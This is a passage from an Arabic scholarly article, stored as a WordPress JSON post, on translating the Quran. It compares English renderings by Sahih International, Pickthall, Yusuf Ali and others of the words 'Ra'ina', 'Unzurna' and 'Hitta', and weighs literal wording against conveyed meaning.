{"id":21945,"date":"2020-08-18T04:20:26","date_gmt":"2020-08-18T04:20:26","guid":{"rendered":"http:\/\/www.worldofculture2020.com\/?p=21945"},"modified":"2020-08-18T04:20:26","modified_gmt":"2020-08-18T04:20:26","slug":"%d9%85%d9%86-%d8%a5%d8%b4%d9%83%d8%a7%d9%84%d9%8a%d8%a7%d8%aa-%d8%a7%d9%84%d8%aa%d8%b1%d8%ac%d9%85%d8%a9-%d8%a7%d9%84%d8%af%d9%8a%d9%86%d9%8a%d8%a9-%d9%82%d8%b5%d8%af%d9%8a%d8%a9-%d8%a7%d9%84%d9%84","status":"publish","type":"post","link":"https:\/\/worldofculture2020.com\/?p=21945","title":{"rendered":"\u0645\u0646 \u0625\u0634\u0643\u0627\u0644\u064a\u0627\u062a \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0627\u0644\u062f\u064a\u0646\u064a\u0629.. \u0642\u0635\u062f\u064a\u0629 \u0627\u0644\u0644\u0641\u0638 \u0623\u0645 \u0627\u0639\u062a\u0645\u0627\u062f\u064a\u0629 \u0627\u0644\u0645\u0639\u0646\u0649 (17)"},"content":{"rendered":"<p style=\"text-align: justify;\"><strong>\u0623.\u062f. \u0639\u0646\u062a\u0631 \u0635\u0644\u062d\u064a | \u0623\u0633\u062a\u0627\u0630 \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0648\u0627\u0644\u0644\u063a\u0648\u064a\u0627\u062a \u00a0\u062c\u0627\u0645\u0639\u0629 \u062c\u0646\u0648\u0628 \u0627\u0644\u0648\u0627\u062f\u064a<\/strong><\/p>\n<p style=\"text-align: justify;\">\u0646\u062a\u0643\u0644\u0645 \u0627\u0644\u0622\u0646 \u0639\u0646 \u0645\u0634\u0643\u0644\u0629 \u062c\u062f\u064a\u062f\u0629 \u0641\u064a \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0627\u0644\u062f\u064a\u0646\u064a\u0629\u060c \u0648\u0647\u064a \u0627\u0644\u0646\u0647\u064a \u0639\u0646 \u0623\u0644\u0641\u0627\u0638 \u0628\u0639\u064a\u0646\u0647\u0627 \u0648\u0631\u062f\u062a \u0641\u064a \u0627\u0644\u0642\u0631\u0622\u0646\u060c \u0645\u0646 \u0645\u062b\u0644 \u0645\u0627 \u0648\u0631\u062f \u0641\u064a \u0627\u0644\u0622\u064a\u0629 \u0627\u0644\u0643\u0631\u064a\u0645\u0629:\u064a\u064e\u0627 \u0623\u064e\u064a\u0651\u064f\u0647\u064e\u0627 \u0627\u0644\u0651\u064e\u0630\u0650\u064a\u0646\u064e \u0622\u0645\u064e\u0646\u064f\u0648\u0627 \u0644\u064e\u0627 \u062a\u064e\u0642\u064f\u0648\u0644\u064f\u0648\u0627 \u0631\u064e\u0627\u0639\u0650\u0646\u064e\u0627 \u0648\u064e\u0642\u064f\u0648\u0644\u064f\u0648\u0627 \u0627\u0646\u0638\u064f\u0631\u0652\u0646\u064e\u0627 \u0648\u064e\u0627\u0633\u0652\u0645\u064e\u0639\u064f\u0648\u0627 \u06d7 \u0648\u064e\u0644\u0650\u0644\u0652\u0643\u064e\u0627\u0641\u0650\u0631\u0650\u064a\u0646\u064e \u0639\u064e\u0630\u064e\u0627\u0628\u064c \u0623\u064e\u0644\u0650\u064a\u0645\u064c (104)<\/p>\n<p style=\"text-align: justify;\">\u0641\u0627\u0644\u0646\u0647\u064a \u0647\u0646\u0627 \u0639\u0646 \u0644\u0641\u0638\u0629 (\u0631\u0627\u0639\u0646\u0627)\u060c \u0648\u0627\u0644\u0623\u0645\u0631 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0644\u0641\u0638\u0629 (\u0627\u0646\u0638\u0631\u0646\u0627) \u0627\u0644\u0628\u062f\u064a\u0644\u0629&#8230;. \u0648\u0642\u0628\u0644 \u0623\u0646 \u0646\u0631\u0649 \u062c\u0648\u0627\u0646\u0628 \u0627\u0644\u062a\u0631\u062c\u0645\u0629&#8230; \u0641\u0644\u0646\u0628\u062d\u062b \u0623\u0648\u0644\u0627 \u0639\u0646 \u0645\u0639\u0646\u0649 \u0627\u0644\u0643\u0644\u0645\u062a\u064a\u0646 \u0648\u0633\u0628\u0628 \u0627\u0644\u0646\u0647\u064a \u0639\u0646 \u0627\u0644\u0623\u0648\u0644\u0649 \u0645\u0646\u0647\u0645\u0627&#8230; (\u0631\u0627\u0639\u0646\u0627) \u0641\u0639\u0644 \u0623\u0645\u0631 \u0627\u0644\u063a\u0631\u0636 \u0645\u0646\u0647 \u0627\u0644\u0637\u0644\u0628\u060c \u0628\u0645\u0639\u0646\u0649 \u0627\u0644\u0645\u0631\u0627\u0639\u0627\u0629 \u0648 \u0627\u0644\u0631\u0639\u0627\u064a\u0629 \u0648\u0647\u0648 \u0645\u0634\u062a\u0642 \u0645\u0646 (\u0631\u0639\u0649) \u064a\u0631\u0639\u0649\u060c \u0648\u0627\u0644\u0631\u0639\u064a\u0629\u060c \u0648\u0627\u0644\u0631\u0627\u0639\u064a&#8230; \u063a\u064a\u0631 \u0623\u0646 \u0627\u0644\u0644\u0641\u0638 \u0643\u0627\u0646 \u064a\u0633\u062a\u062e\u062f\u0645\u0647 \u0627\u0644\u064a\u0647\u0648\u062f \u0628\u0645\u0639\u0646\u0649 \u0622\u062e\u0631 \u2013 \u0641\u064a\u0645\u0627 \u064a\u0628\u062f\u0648 \u0623\u0642\u0631\u0628 \u0644\u0646\u0637\u0642 \u0644\u0641\u0638\u0629 \u0623\u062e\u0631\u0649 \u0639\u0646\u062f\u0647\u0645 \u0628\u0627\u0644\u0633\u0631\u064a\u0627\u0646\u064a\u0629 \u0623\u0648 \u0627\u0644\u0639\u0628\u0631\u064a\u0629 \u0627\u0644\u0642\u062f\u064a\u0645\u0629- \u0648\u0627\u0644\u0644\u0641\u0638\u0629 \u0627\u0644\u0623\u062e\u0631\u0649 \u063a\u064a\u0631 \u0645\u0634\u062a\u0642\u0629 \u0645\u0646 \u0627\u0644\u0631\u0639\u0627\u064a\u0629\u060c \u0648\u0644\u0643\u0646 \u0645\u0634\u062a\u0642\u0629 \u0645\u0646 \u0627\u0644\u0631\u0639\u0648\u0646\u0629\u060c \u0648\u0639\u0644\u0649 \u0647\u0630\u0627 \u0641 (\u0631\u0627\u0639\u0646\u0627) \u0644\u064a\u0633\u062a \u0641\u0639\u0644\u0627\u064b \u0637\u0644\u0628\u064a\u0627\u064b \u0639\u0646\u062f\u0647\u0645\u060c \u0648\u0644\u0643\u0646 \u0627\u0633\u0645 \u0648\u0645\u0636\u0627\u0641 \u0625\u0644\u064a\u0647 \u0628\u0645\u0639\u0646\u0649 (\u0623\u0631\u0639\u0646\u0646\u0627) \u0623\u0648 \u0627\u0644\u0623\u0631\u0639\u0646 \u0627\u0644\u0630\u064a \u0627\u0628\u062a\u0644\u064a\u0646\u0627 \u0628\u0647.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0644\u0645\u0627 \u0643\u0627\u0646 \u0627\u0644\u064a\u0647\u0648\u062f \u0645\u0639\u0631\u0648\u0641\u064a\u0646 \u0628\u062a\u0628\u062f\u064a\u0644 \u0627\u0644\u0643\u0644\u0645 \u0639\u0646 \u0645\u0648\u0627\u0636\u0639\u0647\u060c \u0628\u0627\u0644\u0645\u0639\u0646\u0649 \u0627\u0644\u0645\u0639\u0627\u0635\u0631 \u0644 word play\u060c \u0641\u0642\u062f \u0643\u0627\u0646\u0648\u0627 \u064a\u0639\u0645\u062f\u0648\u0646 \u0625\u0644\u0649 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0623\u0644\u0641\u0627\u0638 \u0627\u0644\u062a\u064a \u062a\u062d\u062a\u0645\u0644 \u0623\u0643\u062b\u0631 \u0645\u0646 \u0645\u0639\u0646\u0649\u060c \u0627\u0644\u062a\u064a \u062a\u062d\u0645\u0644 \u062a\u0648\u0631\u064a\u0629 \u0628\u0645\u0639\u0627\u0646\u064a \u0623\u062e\u0631\u0649.. \u063a\u064a\u0631 \u0623\u0646 \u0627\u0644\u063a\u0631\u0636 \u0627\u0644\u062d\u062f\u064a\u062b \u0645\u0646 \u0627\u0644 <strong>word play<\/strong> \u0647\u0648 \u0627\u0644\u0637\u0631\u0627\u0641\u0629 \u0648 \u0644\u0641\u062a \u0627\u0644\u0627\u0646\u062a\u0628\u0627\u0647 \u0625\u0644\u0649 \u062c\u0645\u0627\u0644\u064a\u0627\u062a \u0627\u0644\u0644\u063a\u0629 \u0648\u062d\u0630\u0642 \u0645\u0633\u062a\u062e\u062f\u0645\u0647\u0627\u060c \u0623\u0645\u0627 \u0645\u0639 \u064a\u0647\u0648\u062f \u0639\u0635\u0631 \u0627\u0644\u0646\u0628\u0648\u0629 \u0641\u0643\u0627\u0646 \u0627\u0644\u063a\u0631\u0636 \u0647\u0648 \u0627\u0644\u0627\u0633\u062a\u0647\u0632\u0627\u0621 \u0648 \u0627\u0644\u0646\u0643\u0627\u064a\u0629 \u0641\u064a \u0627\u0644\u0625\u0633\u0644\u0627\u0645 \u0648\u0623\u0647\u0644\u0647\u060c \u0644\u0630\u0644\u0643 \u0643\u0627\u0646 \u0627\u0644\u064a\u0647\u0648\u062f \u064a\u0633\u062a\u062e\u062f\u0645\u0648\u0646 \u0644\u0641\u0638\u0629 (\u0631\u0627\u0639\u0646\u0627) \u064a\u0639\u0646\u064a \u0627\u0646\u0638\u0631 \u0625\u0644\u064a\u0646\u0627 \u0648\u0627\u0646\u062a\u0628\u0647 \u0644\u0646\u0627 \u2013 \u0648\u0647\u0645 \u064a\u0642\u0635\u062f\u0648\u0646 \u0627\u0644\u0645\u0639\u0646\u0649 \u0627\u0644\u0622\u062e\u0631 (\u0623\u0631\u0639\u0646\u0646\u0627)&#8230; \u0641\u0643\u0627\u0646 \u0627\u0644\u0623\u0646\u0635\u0627\u0631 \u0645\u0646 \u0623\u0647\u0644 \u0627\u0644\u0645\u062f\u064a\u0646\u0629 \u064a\u0633\u0645\u0639\u0648\u0646 \u0627\u0644\u064a\u0647\u0648\u062f \u064a\u0642\u0648\u0644\u0648\u0646 \u0647\u0630\u0627\u060c \u0641\u0643\u0627\u0646\u0648\u0627 \u064a\u0642\u0648\u0644\u0648\u0646 \u0643\u0645\u0627 \u064a\u0642\u0648\u0644\u0648\u0646. \u0641\u0646\u0632\u0644 \u0627\u0644\u0648\u062d\u064a \u0627\u0644\u0625\u0644\u0647\u064a \u064a\u0646\u0647\u0627\u0647\u0645 \u0639\u0646 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0647\u0630\u0647 \u0627\u0644\u0644\u0641\u0638\u0629 \u0648\u064a\u0631\u0634\u062f\u0647\u0645 \u0644\u0644\u0641\u0638\u0629 \u0627\u0644\u0628\u062f\u064a\u0644\u0629\u060c \u0648\u064a\u0628\u064a\u0646 \u0623\u0646 \u0645\u0646 \u064a\u0633\u062a\u062e\u062f\u0645\u0648\u0646 \u0627\u0644\u0623\u0648\u0644\u0649 \u0647\u0645 \u0645\u0646 \u0627\u0644\u0643\u0627\u0641\u0631\u064a\u0646 \u0648\u064a\u062a\u0648\u0639\u062f\u0647\u0645 \u0628\u0639\u0630\u0627\u0628 \u0623\u0644\u064a\u0645.<\/p>\n<p style=\"text-align: justify;\">\u0627\u0644\u0622\u0646\u060c \u064a\u062a\u0636\u062d \u0644\u0646\u0627 \u0623\u0646 \u0627\u0644\u0644\u0641\u0638\u0629 \u0645\u0642\u0635\u0648\u062f\u0629 \u0644\u0630\u0627\u062a\u0647\u0627\u060c \u0644\u0643\u0646 \u0643\u0630\u0644\u0643 \u0639\u0644\u0649 \u0627\u0644\u0639\u0645\u0648\u0645 \u0645\u0637\u0644\u0648\u0628 \u0627\u062d\u062a\u0631\u0627\u0645 \u0627\u0644\u0646\u0628\u064a \u0635\u0644\u0649 \u0627\u0644\u0644\u0647 \u0639\u0644\u064a\u0647 \u0648\u0633\u0644\u0645 \u0648\u0627\u0646\u062a\u0642\u0627\u0621 \u0627\u0644\u0623\u0644\u0641\u0627\u0638 \u0627\u0644\u0645\u0646\u0627\u0633\u0628\u0629 \u0627\u0644\u0635\u0631\u064a\u062d\u0629 \u0641\u064a \u062a\u0628\u062c\u064a\u0644\u0647 \u0639\u0646\u062f \u0645\u062e\u0627\u0637\u0628\u062a\u0647 \u0635\u0644\u0649 \u0627\u0644\u0644\u0647 \u0639\u0644\u064a\u0647 \u0648\u0633\u0644\u0645. \u0641\u0643\u064a\u0641 \u0633\u064a\u0643\u0648\u0646 \u0627\u062e\u062a\u064a\u0627\u0631 \u0627\u0644\u0645\u062a\u0631\u062c\u0645\u064a\u0646 \u0644\u0644\u0645\u0639\u0627\u0646\u064a.<\/p>\n<p style=\"text-align: justify;\">\u0641\u0644\u0646\u0631\u0649:<\/p>\n<p style=\"text-align: left;\">SahihInternational: O you who have believed, say not [to Allah &#8216;s Messenger], &#8220;Ra&#8217;ina&#8221; but say, &#8220;Unthurna&#8221; and listen. And for the disbelievers is apainful punishment.<\/p>\n<p style=\"text-align: left;\">Shakir: O you who believe! do not say Rainaand say Unzurna and listen, and for the unbelievers there is a painfulchastisement.<\/p>\n<p style=\"text-align: left;\">Muhammad Sarwar: Believers, do not address theProphet as ra&#8217;ina (whereby the Jews, in their own accent, meant: Wouldthat you would never hear, but call him unzurna) (meaning: Please speakto us slowly so that we understand), and then listen. The unbelieverswill face a painful torment.<\/p>\n<p style=\"text-align: left;\">Mohsin Khan: O you who believe! Saynot (to the Messenger Peace be upon him )Ra&#8217;ina but say Unzurna (Domake us understand) and hear. And for the disbelievers there is apainful torment. (See Verse 4:46)<\/p>\n<p style=\"text-align: justify;\">\u0647\u0630\u0647 \u0627\u0644\u062a\u0631\u062c\u0645\u0627\u062a \u0627\u0644\u0623\u0631\u0628\u0639 \u0627\u0639\u062a\u0645\u062f\u062a \u0627\u0644\u0646\u0647\u064a \u0639\u0646 \u0627\u0644\u0644\u0641\u0638\u0629 \u0628\u0630\u0627\u062a\u0647\u0627\u060c \u0644\u0630\u0644\u0643 \u0643\u062a\u0628\u062a\u0647\u0627 \u0643\u0645\u0627 \u0647\u064a <strong>Ra\u2019ina\u060c<\/strong> \u0648\u0628\u0639\u0636\u0647\u0627 \u0641\u0635\u0644 \u0641\u064a \u0630\u0644\u0643 \u0648\u0628\u0639\u0636\u0647\u0627 \u0627\u0643\u062a\u0641\u0649 \u0628\u0630\u0643\u0631 \u0627\u0644\u0644\u0641\u0638\u064a\u0646\u061b \u0627\u0644\u0645\u0646\u0647\u064a \u0639\u0646\u0647 <strong>Ra\u2019ina<\/strong> \u0648\u0627\u0644\u0645\u0631\u0634\u062f \u0625\u0644\u064a\u0647<strong> Unthurna.<\/strong> \u0648\u0623\u0636\u0627\u0641 \u0645\u062d\u0633\u0646 \u062e\u0627\u0646 \u0645\u0639\u0646\u0649 \u0648\u0627\u062d\u062f\u0627\u064b \u0644\u0644\u0641\u0638\u062a\u064a\u0646 \u0648\u0647\u0648 <strong>Do make<\/strong> us <strong>understand<\/strong> \u0628\u064a\u0646 \u0627\u0644\u0642\u0648\u0633\u064a\u0646 \u062f\u0648\u0646 \u062a\u0648\u0636\u064a\u062d \u0644\u0645 \u0627\u0644\u0646\u0647\u064a \u0639\u0646 \u0627\u0644\u0623\u0648\u0644\u0649 \u0648\u0627\u0644\u0625\u0631\u0634\u0627\u062f \u0644\u0644\u062b\u0627\u0646\u064a\u0629. \u0623\u0645\u0627 \u0627\u0644\u062d\u0627\u062c \u0645\u062d\u0645\u062f \u0633\u0631\u0648\u0631 \u0641\u0642\u062f \u0623\u0636\u0627\u0641 \u0628\u064a\u0646 \u0627\u0644\u0642\u0648\u0633\u064a\u0646 \u0633\u0628\u0628 \u0627\u0644\u0646\u0647\u064a \u0639\u0646 \u0627\u0644\u0623\u0648\u0644\u0649 \u0623\u0646\u0647\u0627 \u0641\u064a \u0644\u063a\u0629 \u0627\u0644\u064a\u0647\u0648\u062f \u062f\u0639\u0627\u0621 \u0628\u0627\u0644\u0635\u0645\u0645\u060c \u0648\u0623\u0646 \u0627\u0644\u062b\u0627\u0646\u064a\u0629 \u0628\u0645\u0639\u0646\u0649 \u062e\u0627\u0637\u0628\u0646\u0627 \u0628\u062a\u0645\u0647\u0644 \u062d\u062a\u0649 \u0646\u0641\u0647\u0645. \u0641\u0628\u064a\u0646 \u0633\u0628\u0628 \u0627\u0644\u0646\u0647\u064a \u0648\u0627\u0644\u0625\u0631\u0634\u0627\u062f\u060c \u0648\u0627\u0644\u0633\u0628\u0628 \u0644\u063a\u0648\u064a \u0628\u062d\u062a.<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: left;\">Pickthall: O ye who believe, say not (unto the Prophet): &#8220;Listen to us&#8221; but say &#8220;Look upon us,&#8221; and be ye listeners. Fordisbelievers is a painful doom.<\/p>\n<p style=\"text-align: left;\">Arberry: O believers, do not say, &#8216;Observe us,&#8217; but say, &#8216;Regard us&#8217;; and give ear; for unbelieversawaits a painful chastisement.<\/p>\n<p style=\"text-align: justify;\">\u0627\u0633\u062a\u062e\u062f\u0645 \u0628\u0643\u062a\u0648\u0644\u0648\u0623\u0631\u0628\u0631\u064a \u062a\u0631\u062c\u0645\u0629 \u0645\u0639\u0627\u0646\u064a \u0627\u0644\u0623\u0644\u0641\u0627\u0638\u060c \u0648\u0628\u064a\u0646\u0627 \u0623\u0646 \u0627\u0644\u0645\u0639\u0646\u0649 \u0627\u0644\u0623\u0648\u0644 \u0627\u0644\u0645\u0646\u0647\u064a \u0639\u0646\u0647 \u0647\u0648 listen to us, observe us \u0648\u0623\u0646 \u0627\u0644\u0645\u0631\u0634\u062f \u0625\u0644\u064a\u0647 \u0647\u0648 <strong>look upon us, regard us<\/strong> \u0648\u0627\u0644\u062d\u0642\u064a\u0642\u0629 \u0623\u0646 \u0627\u0644\u0646\u0647\u064a \u0644\u0645 \u064a\u0643\u0646 \u0639\u0646 \u0639\u0628\u0627\u0631\u0629 (\u0627\u0633\u062a\u0645\u0639 \u0644\u0646\u0627 \u0623\u0648 \u0644\u0627\u062d\u0638\u0646\u0627) \u0625\u0646\u0645\u0627 \u0627\u0644\u0646\u0647\u064a \u0639\u0646 \u0644\u0641\u0638 \u0628\u0639\u064a\u0646\u0647 \u0644\u0647 \u062f\u0644\u0627\u0644\u0627\u062a \u0645\u062e\u062a\u0644\u0641\u0629\u060c \u0644\u0630\u0627 \u0648\u0642\u0639 \u0627\u0644\u0646\u0647\u064a. \u0648\u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0647\u0646\u0627 \u0644\u0627 \u062a\u0634\u0631\u062d \u0644\u0644\u0642\u0627\u0631\u0626 \u063a\u064a\u0631 \u0627\u0644\u0639\u0631\u0628\u064a \u0644\u0645 \u064a\u062c\u0628 \u0623\u0646 \u064a\u0633\u062a\u062e\u062f\u0645 \u0627\u0644\u0639\u0628\u0627\u0631\u0627\u062a \u0627\u0644\u062b\u0627\u0646\u064a\u0629 \u0648\u064a\u062a\u0631\u0643 \u0627\u0644\u0623\u0648\u0644\u0649\u060c \u0641\u0627\u0644\u062a\u0631\u062c\u0645\u062a\u0627\u0646 \u0644\u0627 \u062a\u062d\u064a\u0644\u0627\u0646\u0647 \u0625\u0644\u0649 \u0627\u0644\u0623\u0635\u0644 \u0627\u0644\u0639\u0631\u0628\u064a \u0648\u0644\u0627 \u0625\u0644\u0649 \u0633\u064a\u0627\u0642 \u0645\u0639\u0646\u0627\u0647.<\/p>\n<p style=\"text-align: left;\">Yusuf Ali: O ye of Faith! Say not (to theMessenger) words of ambiguous import, but words of respect; and hearken(to him): To those without Faith is a grievous punishment.<\/p>\n<p style=\"text-align: justify;\">\u0623\u0645\u0627 \u064a\u0648\u0633\u0641 \u0639\u0644\u064a \u0641\u0642\u062f \u0627\u062a\u062e\u0630 \u0645\u0648\u0642\u0641\u0627 \u0645\u062e\u0627\u0644\u0641\u0627\u060c \u0641\u0633\u0643\u062a \u0639\u0646 \u0627\u0644\u0623\u0644\u0641\u0627\u0638 \u062c\u0645\u064a\u0639\u0647\u0627\u060c \u0648\u0627\u0633\u062a\u062e\u062f\u0645 \u0627\u0644\u0645\u0642\u0627\u0635\u062f \u0645\u0646 \u0627\u0644\u0646\u0647\u064a \u0648\u0627\u0644\u0625\u0631\u0634\u0627\u062f\u060c \u0641\u0630\u0643\u0631 \u0636\u0648\u0631\u0629 \u0627\u0644\u0627\u0628\u062a\u0639\u0627\u062f \u0639\u0646 \u0627\u0644\u0623\u0644\u0641\u0627\u0638 \u0630\u0627\u062a \u0627\u0644\u0645\u0639\u0627\u0646\u064a \u0627\u0644\u0645\u0644\u062a\u0628\u0633\u0629 ambiguous import \u0648 \u0636\u0631\u0648\u0631\u0629 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0623\u0644\u0641\u0627\u0638 \u0627\u0644\u0627\u062d\u062a\u0631\u0627\u0645 \u0627\u0644\u0635\u0631\u064a\u062d\u0629 words of respect\u060c \u0648\u0631\u063a\u0645 \u0633\u0644\u0627\u0645\u0629 \u0647\u0630\u0627 \u0627\u0644\u0645\u0648\u0642\u0641\u060c \u0641\u0647\u0648 \u064a\u062a\u062c\u0646\u0649 \u0639\u0644\u0649 \u062c\u0627\u0646\u0628 \u0645\u0646 \u0627\u0644\u0623\u0635\u0644 (\u0630\u0643\u0631 \u0627\u0644\u0623\u0644\u0641\u0627\u0638 \u0627\u0644\u0635\u0631\u064a\u062d\u0629) \u0648 \u064a\u062a\u062c\u0647 \u0628\u0627\u0644\u062a\u0636\u062d\u064a\u0629 \u0628\u062c\u0627\u0646\u0628 \u0645\u0646\u0647.<\/p>\n<p style=\"text-align: justify;\">***<\/p>\n<p style=\"text-align: justify;\">\u0637\u064a\u0628\u060c \u0645\u0627\u0630\u0627 \u064a\u062d\u062f\u062b \u0644\u0648 \u0643\u0627\u0646 \u0627\u0644\u0646\u0647\u064a \u0644\u064a\u0633 \u0644\u0644\u0623\u0645\u0629 \u0627\u0644\u0625\u0633\u0644\u0627\u0645\u064a\u0629 \u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u2013\u0648\u0642\u062a \u0646\u0632\u0648\u0644 \u0627\u0644\u0643\u062a\u0627\u0628- \u0648\u0625\u0646\u0645\u0627 \u0643\u0627\u0646 \u0627\u0644\u0646\u0647\u064a \u0644\u0623\u0645\u0629 \u0633\u0627\u0628\u0642\u0629 \u0644\u0627 \u062a\u062a\u0643\u0644\u0645 \u0627\u0644\u0639\u0631\u0628\u064a\u0629\u061f \u0648\u0623\u0642\u0635\u062f \u0628\u0630\u0644\u0643 \u0627\u0644\u0622\u064a\u0629 \u0627\u0644\u0643\u0631\u064a\u0645\u0629:<\/p>\n<p style=\"text-align: justify;\"><strong>\u0648\u064e\u0625\u0650\u0630\u0652 \u0642\u064f\u0644\u0652\u0646\u064e\u0627 \u0627\u062f\u0652\u062e\u064f\u0644\u064f\u0648\u0627 \u0647\u064e\u0670\u0630\u0650\u0647\u0650 \u0627\u0644\u0652\u0642\u064e\u0631\u0652\u064a\u064e\u0629\u064e \u0641\u064e\u0643\u064f\u0644\u064f\u0648\u0627 \u0645\u0650\u0646\u0652\u0647\u064e\u0627 \u062d\u064e\u064a\u0652\u062b\u064f \u0634\u0650\u0626\u0652\u062a\u064f\u0645\u0652 \u0631\u064e\u063a\u064e\u062f\u064b\u0627 \u0648\u064e\u0627\u062f\u0652\u062e\u064f\u0644\u064f\u0648\u0627 \u0627\u0644\u0652\u0628\u064e\u0627\u0628\u064e \u0633\u064f\u062c\u0651\u064e\u062f\u064b\u0627 \u0648\u064e\u0642\u064f\u0648\u0644\u064f\u0648\u0627 \u062d\u0650\u0637\u0651\u064e\u0629\u064c \u0646\u0651\u064e\u063a\u0652\u0641\u0650\u0631\u0652 \u0644\u064e\u0643\u064f\u0645\u0652 \u062e\u064e\u0637\u064e\u0627\u064a\u064e\u0627\u0643\u064f\u0645\u0652 \u06da \u0648\u064e\u0633\u064e\u0646\u064e\u0632\u0650\u064a\u062f\u064f \u0627\u0644\u0652\u0645\u064f\u062d\u0652\u0633\u0650\u0646\u0650\u064a\u0646\u064e (58)<\/strong><\/p>\n<p style=\"text-align: justify;\">\u0641\u0627\u0644\u0623\u0645\u0631 \u0647\u0646\u0627 \u0628\u0642\u0648\u0644 \u0644\u0641\u0638\u0629 \u0645\u062d\u062f\u062f\u0629 \u0648\u0647\u064a (\u062d\u0637\u0629).. \u0637\u064f\u0644\u0628 \u0645\u0646 \u0627\u0644\u064a\u0647\u0648\u062f \u2013 \u0628\u0646\u064a \u0625\u0633\u0631\u0627\u0626\u064a\u0644 \u2013 \u0623\u0646 \u064a\u0642\u0648\u0644\u0648\u0647\u0627 \u0639\u0646\u062f \u062f\u062e\u0648\u0644\u0647\u0645 \u0625\u0644\u0649 \u0628\u0627\u0628 \u0627\u0644\u0645\u062f\u064a\u0646\u0629 \u0627\u0644\u0645\u0642\u062f\u0633\u0629.<\/p>\n<p style=\"text-align: justify;\">\u0641\u064a \u0627\u0644\u0628\u062f\u0627\u064a\u0629: \u0645\u0627 \u0645\u0639\u0646\u0649 \u062d\u0637\u0629\u061f \u0641\u064a \u0627\u0644\u062a\u0641\u0627\u0633\u064a\u0631\u060c \u0623\u0646\u0647\u0627 \u0643\u0644\u0645\u0629 \u062a\u0639\u0646\u0649 (\u062d\u0637 \u0639\u0646\u0627 \u062e\u0637\u0627\u064a\u0627\u0646\u0627).. \u0641\u0647\u064a \u0645\u0634\u062a\u0642\u0629 \u0645\u0646 \u0627\u0644\u0641\u0639\u0644 \u0627\u0644\u0639\u0631\u0628\u064a (\u062d\u0637 \u2013 \u064a\u062d\u0637- \u062d\u0637\u0627) \u0648\u0639\u0644\u0649 \u0647\u0630\u0627 \u062a\u0643\u0648\u0646 (\u062d\u0637\u0629) \u0645\u0641\u0639\u0648\u0644 \u0645\u0637\u0644\u0642 \u0644\u0648 \u0643\u0627\u0646\u062a \u0645\u0646\u0635\u0648\u0628\u0629\u060c \u0648 \u062a\u0643\u0648\u0646 (\u0627\u0633\u0645 \u0647\u064a\u0626\u0629) \u0644\u0648 \u0643\u0627\u0646\u062a \u0645\u0631\u0641\u0648\u0639\u0629. \u0648\u0647\u064a \u0641\u064a \u0627\u0644\u0645\u0635\u062d\u0641 \u0645\u0631\u0641\u0648\u0639\u0629. \u0648\u0627\u0639\u062a\u0645\u062f \u0628\u0639\u0636 \u0627\u0644\u0645\u0641\u0633\u0631\u064a\u0646 \u0639\u0644\u0649 \u062d\u0627\u0644\u0629 \u0627\u0644\u0631\u0641\u0639\u060c \u0641\u0642\u0627\u0644\u0648\u0627 \u0627\u0644\u0645\u0642\u0635\u0648\u062f \u0647\u0648 \u0628\u064a\u0627\u0646 \u0647\u064a\u0626\u0629 \u0627\u0644\u0630\u0644\u0629 \u0648\u0627\u0644\u062e\u0636\u0648\u0639 \u0648\u0627\u0644\u062a\u0648\u0628\u0629\u060c \u0644\u0627 \u0627\u0644\u0644\u0641\u0638\u0629 \u0628\u0630\u0627\u062a\u0647\u0627.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0645\u0647\u0645\u0627 \u064a\u0643\u0646 \u0645\u0646 \u0623\u0645\u0631\u060c \u0641\u0627\u0644\u0642\u0631\u0622\u0646 \u064a\u062e\u0628\u0631\u0646\u0627 \u0623\u0646\u0647\u0645 \u0644\u0645 \u064a\u0642\u0648\u0644\u0648\u0647\u0627\u060c \u0648\u0644\u0645 \u064a\u0633\u0643\u062a\u0648\u0627- \u0625\u0646\u0645\u0627 \u0627\u0633\u062a\u0647\u0632\u0621\u0648\u0627 \u0641\u062d\u0631\u0641\u0648\u0627 \u0627\u0644\u0643\u0644\u0645\u0629 \u0645\u0631\u0629 \u0623\u062e\u0631\u0649 \u0648\u0644\u0639\u0628\u0648\u0627 \u0628\u0647\u0627 word play \u0641\u0646\u0637\u0642\u0648\u0647\u0627 \u0646\u0637\u0642\u0627 \u0645\u062e\u0627\u0644\u0641\u0627\u060c \u0623\u0639\u0637\u0649 \u0645\u0639\u0646\u0649 \u062c\u062f\u064a\u062f\u0627. \u0641\u0627\u0644\u0622\u064a\u0629 \u0627\u0644\u062a\u0627\u0644\u064a\u0629 \u062a\u0642\u0648\u0644: <strong>\u0641\u064e\u0628\u064e\u062f\u0651\u064e\u0644\u064e \u0627\u0644\u0651\u064e\u0630\u0650\u064a\u0646\u064e \u0638\u064e\u0644\u064e\u0645\u064f\u0648\u0627 \u0642\u064e\u0648\u0652\u0644\u064b\u0627 \u063a\u064e\u064a\u0652\u0631\u064e \u0627\u0644\u0651\u064e\u0630\u0650\u064a \u0642\u0650\u064a\u0644\u064e \u0644\u064e\u0647\u064f\u0645\u0652 \u0641\u064e\u0623\u064e\u0646\u0632\u064e\u0644\u0652\u0646\u064e\u0627 \u0639\u064e\u0644\u064e\u0649 \u0627\u0644\u0651\u064e\u0630\u0650\u064a\u0646\u064e \u0638\u064e\u0644\u064e\u0645\u064f\u0648\u0627 \u0631\u0650\u062c\u0652\u0632\u064b\u0627 \u0645\u0651\u0650\u0646\u064e \u0627\u0644\u0633\u0651\u064e\u0645\u064e\u0627\u0621\u0650 \u0628\u0650\u0645\u064e\u0627 \u0643\u064e\u0627\u0646\u064f\u0648\u0627 \u064a\u064e\u0641\u0652\u0633\u064f\u0642\u064f\u0648\u0646\u064e (59)<\/strong><\/p>\n<p style=\"text-align: justify;\">\u0648\u0641\u064a \u0627\u0644\u062a\u0641\u0627\u0633\u064a\u0631 \u0623\u0646\u0647\u0645 \u0628\u062f\u0644\u0627 \u0645\u0646 \u0623\u0646 \u064a\u0642\u0648\u0644\u0648\u0627 (\u062d\u0637\u0629) 